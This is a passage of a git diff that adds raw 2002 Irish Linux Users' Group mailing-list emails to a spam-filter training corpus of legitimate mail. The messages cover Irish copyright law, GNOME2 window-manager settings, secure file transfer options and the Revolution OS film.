-0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 11:03:01 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DA1V626517 for + ; Tue, 13 Aug 2002 11:01:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA06818; Tue, 13 Aug 2002 11:00:02 +0100 +Received: from dspsrv.com (vir.dspsrv.com [193.120.211.34]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA06775 for ; + Tue, 13 Aug 2002 10:59:55 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host vir.dspsrv.com + [193.120.211.34] claimed to be dspsrv.com +Received: from www-data by dspsrv.com with local (Exim 3.35 #1) id + 17eYSx-0002I4-00 for ilug@linux.ie; Tue, 13 Aug 2002 10:59:55 +0100 +X-Mailer: JAWmail 1.0rc1 +X-Originating-Ip: 159.134.151.217 +From: Waider +To: +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Message-Id: +Date: Tue, 13 Aug 2002 10:59:55 +0100 +Subject: [ILUG] Irish Copyright Law: some analyses +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Two interesting analyses of the Irish implementation of copyright as led by, as +best I can tell, anticipation of the EUCD (since the Irish law was passed in +2000, and the EUCD is somewhat more recent than that). The pieces of interest +are the papers by Prof. Robert Clark, who perhaps might not be a bad choice of +speaker for some future LUG gathering. One of the more eye-opening comments in +the second of his papers is that Irish legislation is, in effect, more +draconian than the DMCA. + +http://www.cai.ie/Past%20Events.html#2002 + +There are some other interesting pieces here, too, for anyone concerned about +copyright and the like in Ireland. + +Cheers, +Waider. Props to Danny at NTK (www.ntk.net) for the link. +-- +waider@waider.ie / Yes, it /is/ very personal of me. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00393.dcfc9cf1d063ff68ace29c26e0394c05 b/bayes/spamham/easy_ham_2/00393.dcfc9cf1d063ff68ace29c26e0394c05 new file mode 100644 index 0000000..135f018 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00393.dcfc9cf1d063ff68ace29c26e0394c05 @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Tue Aug 13 12:13:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F25BD43C32 + for ; Tue, 13 Aug 2002 07:13:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 12:13:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DBARe29011 for + ; Tue, 13 Aug 2002 12:10:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA09817; Tue, 13 Aug 2002 12:08:59 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail.it-tallaght.ie (mail.it-tallaght.ie [193.1.120.163]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA09789 for + ; Tue, 13 Aug 2002 12:08:52 +0100 +Received: by mail.it-tallaght.ie with Internet Mail Service (5.5.2656.59) + id ; Tue, 13 Aug 2002 12:07:00 +0100 +Message-Id: +From: "Smith, Graham - Computing Technician" +To: ilug@linux.ie +Subject: RE: [ILUG] I hate noise! +Date: Tue, 13 Aug 2002 12:06:59 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2656.59) +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + MAA09789 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I ususally disconnect the internal speaker - thats pretty sure to stop any +beeping! + +G. +___________________________ + Graham Smith, + Network Administrator, + Department of Computing, + Institute of Technology, + Tallaght, Dublin 24 + Phone: + 353 (01) 4042840 + +-----Original Message----- +From: Éibhear [mailto:eibhear.geo@yahoo.com] +Sent: 12 August 2002 16:49 +To: Éibhear; Padraig Brady; ilug@linux.ie +Subject: Re: [ILUG] I hate noise! + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00394.7c5ef360e04042d46f104d48d30af29e b/bayes/spamham/easy_ham_2/00394.7c5ef360e04042d46f104d48d30af29e new file mode 100644 index 0000000..a024841 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00394.7c5ef360e04042d46f104d48d30af29e @@ -0,0 +1,59 @@ +From ilug-admin@linux.ie Tue Aug 13 12:19:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 64EFA43C34 + for ; Tue, 13 Aug 2002 07:19:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 12:19:00 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DBEse29064 for + ; Tue, 13 Aug 2002 12:14:55 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA10180; Tue, 13 Aug 2002 12:13:59 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com + [128.221.11.32]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA10152 + for ; Tue, 13 Aug 2002 12:13:52 +0100 +From: Baldwin_James@emc.com +Received: by maho3msx2.isus.emc.com with Internet Mail Service + (5.5.2653.19) id ; Tue, 13 Aug 2002 07:13:16 -0400 +Message-Id: <8324AAE75AAF234DB122E30557EEC9DC014C0098@corpeumx6.corp.emc.com> +To: Graham.Smith@it-tallaght.ie, ilug@linux.ie +Subject: RE: [ILUG] I hate noise! +Date: Tue, 13 Aug 2002 07:12:22 -0400 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Try that on a Sun :( you have to disect the keyboard + +-----Original Message----- +From: Smith, Graham - Computing Technician +[mailto:Graham.Smith@it-tallaght.ie] +Sent: Tuesday, August 13, 2002 12:07 PM +To: ilug@linux.ie +Subject: RE: [ILUG] I hate noise! + + +I ususally disconnect the internal speaker - thats pretty sure to stop any +beeping! + +G. +___________________________ + Graham Smith, + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00395.1a0db141e8937eb68e6a75a21bf69e61 b/bayes/spamham/easy_ham_2/00395.1a0db141e8937eb68e6a75a21bf69e61 new file mode 100644 index 0000000..80a117c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00395.1a0db141e8937eb68e6a75a21bf69e61 @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Tue Aug 13 12:59:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5FBB543C32 + for ; Tue, 13 Aug 2002 07:59:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 12:59:37 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DBw6e30234 for + ; Tue, 13 Aug 2002 12:58:06 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA11880; Tue, 13 Aug 2002 12:55:00 +0100 +Received: from mel-rto3.wanadoo.fr (smtp-out-3.wanadoo.fr + [193.252.19.233]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA11851 + for ; Tue, 13 Aug 2002 12:54:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host smtp-out-3.wanadoo.fr + [193.252.19.233] claimed to be mel-rto3.wanadoo.fr +Received: from mel-rta8.wanadoo.fr (193.252.19.79) by mel-rto3.wanadoo.fr + (6.5.007) id 3D49FC7D00475127 for ilug@linux.ie; Tue, 13 Aug 2002 13:54:20 + +0200 +Received: from bolsh.wanadoo.fr (80.8.224.71) by mel-rta8.wanadoo.fr + (6.5.007) id 3D49FF790040C24E for ilug@linux.ie; Tue, 13 Aug 2002 13:54:20 + +0200 +Received: from dave by bolsh.wanadoo.fr with local (Exim 3.32 #1 (Debian)) + id 17eaKI-0001UJ-00 for ; Tue, 13 Aug 2002 13:59:06 +0200 +Date: Tue, 13 Aug 2002 13:59:06 +0200 +From: David Neary +To: Irish LUG list +Subject: Re: [ILUG] gargnome & sawfish.. +Message-Id: <20020813135906.A5619@wanadoo.fr> +References: <20020812082938.GA3027@jinny.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +In-Reply-To: <20020812082938.GA3027@jinny.ie> +User-Agent: Mutt/1.3.23i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +John P. Looney wrote: +> I decided to try out GarGnome, to see what gnome2 looks like. It's +> pretty, I'll give it that. +> +> However, there seemed to be loads of bugs - sawfish threw wobblers all +> over the place, so I tryed out metacity - which doesn't have a GUI +> configurator, and arsed if I'm going back to the fvwm days when you had to +> set settings by hand, without an idea what the values looked like. + +Have you tried gconf-editor? It's a GUI front-end to gconf +settings (and metacity has it's settings handled by gconf, like +all good gnome2 apps). It's true there's no designated metacity +configurator - but the whole point of metacity is to have +reasonable defaults, and thus get away from the need for settings +altogether, and have the window manager be not in the way (as so +many are). + +As to the sawfish issue, no idea, sorry - are you sure that +gnome2's panel handles 1.4 applets at all? + +Cheers, +Dave. + +-- + David Neary, + Marseille, France + E-Mail: bolsh@gimp.org + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00396.bfdf369c41f7228686c0bbe162ee3a14 b/bayes/spamham/easy_ham_2/00396.bfdf369c41f7228686c0bbe162ee3a14 new file mode 100644 index 0000000..3828c6f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00396.bfdf369c41f7228686c0bbe162ee3a14 @@ -0,0 +1,60 @@ +From ilug-admin@linux.ie Tue Aug 13 13:11:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2D42743C32 + for ; Tue, 13 Aug 2002 08:11:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 13:11:15 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DCA2e30807 for + ; Tue, 13 Aug 2002 13:10:03 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA12520; Tue, 13 Aug 2002 13:08:33 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay05.indigo.ie (relay05.indigo.ie [194.125.133.229]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id NAA12478 for ; + Tue, 13 Aug 2002 13:08:27 +0100 +Received: (qmail 5672 messnum 1194080 invoked from + network[194.125.130.10/unknown]); 13 Aug 2002 12:08:26 -0000 +Received: from unknown (HELO win2000) (194.125.130.10) by + relay05.indigo.ie (qp 5672) with SMTP; 13 Aug 2002 12:08:26 -0000 +Reply-To: +From: "Justin MacCarthy" +To: "Ilug@Linux.Ie" +Date: Tue, 13 Aug 2002 13:09:09 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-15" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +In-Reply-To: <20020813135906.A5619@wanadoo.fr> +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4910.0300 +Subject: [ILUG] Linux: the film. +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Linux: the film. +http://www.revolution-os.com/ (trailer + first 8 mins online) + +I wonder if this will ever get to Ireland? Otherwise, I wonder if it would +be possible to get the Trinity Internet Society or somewhere to show it? + +Justin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00397.57025a4c0ae0a0b8f8d55cae868be32f b/bayes/spamham/easy_ham_2/00397.57025a4c0ae0a0b8f8d55cae868be32f new file mode 100644 index 0000000..4f94cd3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00397.57025a4c0ae0a0b8f8d55cae868be32f @@ -0,0 +1,83 @@ +From ilug-admin@linux.ie Tue Aug 13 13:11:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DE57843C34 + for ; Tue, 13 Aug 2002 08:11:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 13:11:15 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DCCGe30842 for + ; Tue, 13 Aug 2002 13:12:16 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA12713; Tue, 13 Aug 2002 13:10:56 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA12689 for ; Tue, + 13 Aug 2002 13:10:47 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id NAA21163 for ; Tue, + 13 Aug 2002 13:10:16 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7DCAUe19125 for ilug@linux.ie; Tue, 13 Aug 2002 13:10:30 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 13 Aug 2002 13:10:30 +0100 +From: "John P. Looney" +To: Irish LUG list +Subject: Re: [ILUG] gargnome & sawfish.. +Message-Id: <20020813121030.GS2019@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Irish LUG list +References: <20020812082938.GA3027@jinny.ie> <20020813135906.A5619@wanadoo.fr> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020813135906.A5619@wanadoo.fr> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 01:59:06PM +0200, David Neary mentioned: +> Have you tried gconf-editor? It's a GUI front-end to gconf +> settings (and metacity has it's settings handled by gconf, like +> all good gnome2 apps). + + Hmm. It's even worse than using a text editor on a file. + +> It's true there's no designated metacity configurator - but the whole +> point of metacity is to have reasonable defaults, and thus get away from +> the need for settings altogether, and have the window manager be not in +> the way (as so many are). + + Don't buy it. + + shift-alt-s should start a shell, alt-d should maximise a window +vertically, alt-q should close a window, alt-w should shade it. These I've +used for about eight years, and I'm not about to change them now. + + Stuff like alt-1 to go to workspace-1, I love - it just appeared in +windowmaker about six years back, and I've also gotten used to it. + +> As to the sawfish issue, no idea, sorry - are you sure that +> gnome2's panel handles 1.4 applets at all? + + Wierdly, I've gone back to sawfish & gnome 1.4 - and the keybindings +still don't work. It's not fair. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00398.98e5c9f3f9b5568349d4e54298de26ee b/bayes/spamham/easy_ham_2/00398.98e5c9f3f9b5568349d4e54298de26ee new file mode 100644 index 0000000..376e698 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00398.98e5c9f3f9b5568349d4e54298de26ee @@ -0,0 +1,55 @@ +From ilug-admin@linux.ie Tue Aug 13 13:22:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 56D2B43C32 + for ; Tue, 13 Aug 2002 08:22:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 13:22:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DCL9e31125 for + ; Tue, 13 Aug 2002 13:21:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA13251; Tue, 13 Aug 2002 13:20:37 +0100 +Received: from lotse.makalumedia.com (moca.makalumedia.com + [213.157.15.53]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA13216 + for ; Tue, 13 Aug 2002 13:20:31 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host moca.makalumedia.com + [213.157.15.53] claimed to be lotse.makalumedia.com +Received: from [192.168.1.103] (HELO bilbo.magicgoeshere.com) by + lotse.makalumedia.com (CommuniGate Pro SMTP 3.5.7) with ESMTP id 781577 + for ilug@linux.ie; Tue, 13 Aug 2002 14:20:00 +0200 +Received: by bilbo.magicgoeshere.com (Postfix, from userid 501) id + A274C5B3AC; Tue, 13 Aug 2002 12:22:14 +0100 (BST) +Date: Tue, 13 Aug 2002 12:22:14 +0100 +From: Niall O Broin +To: ilug@linux.ie +Message-Id: <20020813112214.GA5163@bilbo.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.27i +Subject: [ILUG] Secure remote file access +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +What are the best options available on Linux ? SFTP ? WebDAV ? Something +else ? Linux servers - Linux and Mac OS-X clients. + + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00399.5bfedd0ef4217216d622f3b613317d24 b/bayes/spamham/easy_ham_2/00399.5bfedd0ef4217216d622f3b613317d24 new file mode 100644 index 0000000..c23a8e3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00399.5bfedd0ef4217216d622f3b613317d24 @@ -0,0 +1,63 @@ +From ilug-admin@linux.ie Tue Aug 13 13:28:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6C47643C34 + for ; Tue, 13 Aug 2002 08:28:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 13:28:39 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DCQ2e31256 for + ; Tue, 13 Aug 2002 13:26:02 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA13659; Tue, 13 Aug 2002 13:24:50 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA13625; Tue, 13 Aug 2002 13:24:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A00091C89; Tue, 13 Aug 2002 13:24:40 +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 7298) id + A8A7ADA4A; Tue, 13 Aug 2002 13:24:40 +0100 (IST) +Date: Tue, 13 Aug 2002 13:24:40 +0100 +From: Declan +To: ilug@linux.ie +Cc: Niall O Broin +Subject: Re: [ILUG] Secure remote file access +Message-Id: <20020813132440.A13714@prodigy.Redbrick.DCU.IE> +References: <20020813112214.GA5163@bilbo.makalumedia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020813112214.GA5163@bilbo.makalumedia.com>; from + niall@linux.ie on Tue, Aug 13, 2002 at 12:22:14PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 12:22:14PM +0100, Niall O Broin wrote: +> What are the best options available on Linux ? SFTP ? WebDAV ? Something +> else ? Linux servers - Linux and Mac OS-X clients. +> + + +If you mean secure file transfer +scp is good + +-- + +Redbrick - Dublin City University Networking Society +Declan McMullen - Education Officer + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00400.000325330181ba8ec268f698f9256626 b/bayes/spamham/easy_ham_2/00400.000325330181ba8ec268f698f9256626 new file mode 100644 index 0000000..d977376 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00400.000325330181ba8ec268f698f9256626 @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Tue Aug 13 13:28:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B9E4643C32 + for ; Tue, 13 Aug 2002 08:28:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 13:28:38 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DCOve31210 for + ; Tue, 13 Aug 2002 13:24:57 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA13585; Tue, 13 Aug 2002 13:24:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA13561; Tue, 13 Aug 2002 + 13:24:15 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 8D5622B31D; Tue, 13 Aug 2002 + 13:23:45 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2196) id 72543E956; + Tue, 13 Aug 2002 13:23:45 +0100 (IST) +Date: Tue, 13 Aug 2002 13:23:45 +0100 +From: Stephen Shirley +To: ilug@linux.ie +Cc: Niall O Broin +Subject: Re: [ILUG] Secure remote file access +Message-Id: <20020813122345.GA6094@skynet.ie> +Mail-Followup-To: ilug@linux.ie, Niall O Broin +References: <20020813112214.GA5163@bilbo.makalumedia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020813112214.GA5163@bilbo.makalumedia.com> +User-Agent: Mutt/1.3.24i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 12:22:14PM +0100, Niall O Broin wrote: +> What are the best options available on Linux ? SFTP ? WebDAV ? Something +> else ? Linux servers - Linux and Mac OS-X clients. + +Can't speak for the other alternatives, but i've been using scp for +years with sexy results. + +Steve, yes, it's a simpsons quote(ish). +-- +High salt diets are bad for you - but only outside marriage. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00401.4bcb1d17a18fc77217a1092fa6c27bfa b/bayes/spamham/easy_ham_2/00401.4bcb1d17a18fc77217a1092fa6c27bfa new file mode 100644 index 0000000..fd9ec51 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00401.4bcb1d17a18fc77217a1092fa6c27bfa @@ -0,0 +1,86 @@ +From ilug-admin@linux.ie Tue Aug 13 13:58:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BC48143C34 + for ; Tue, 13 Aug 2002 08:58:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 13:58:11 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DCtJe32282 for + ; Tue, 13 Aug 2002 13:55:24 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA14867; Tue, 13 Aug 2002 13:54:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp018.mail.yahoo.com (smtp018.mail.yahoo.com + [216.136.174.115]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id NAA14831 + for ; Tue, 13 Aug 2002 13:54:09 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 13 Aug 2002 12:54:07 + -0000 +Message-Id: <004801c242c7$fe001aa0$3864a8c0@sabeo.ie> +From: "Matthew French" +To: "Brian O'Donoghue" , +References: <55DA5264CE16D41186F600D0B74D6B0924727A@KBS01> +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Date: Tue, 13 Aug 2002 13:50:22 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Brian O'Donoghue asked: +> > Of course, it would require a minimum of EUR300,000 in funding +> +> It would? + +Well, yes, if I were to add all the frilly pink bits and the crunchy +chocolate flavoured pieces... :) + +Seriously, I can only see two reasons to start another distro: you have +something fundamentally different to offer, or you are customising an +existing distro for an unusual and specific situation. Between 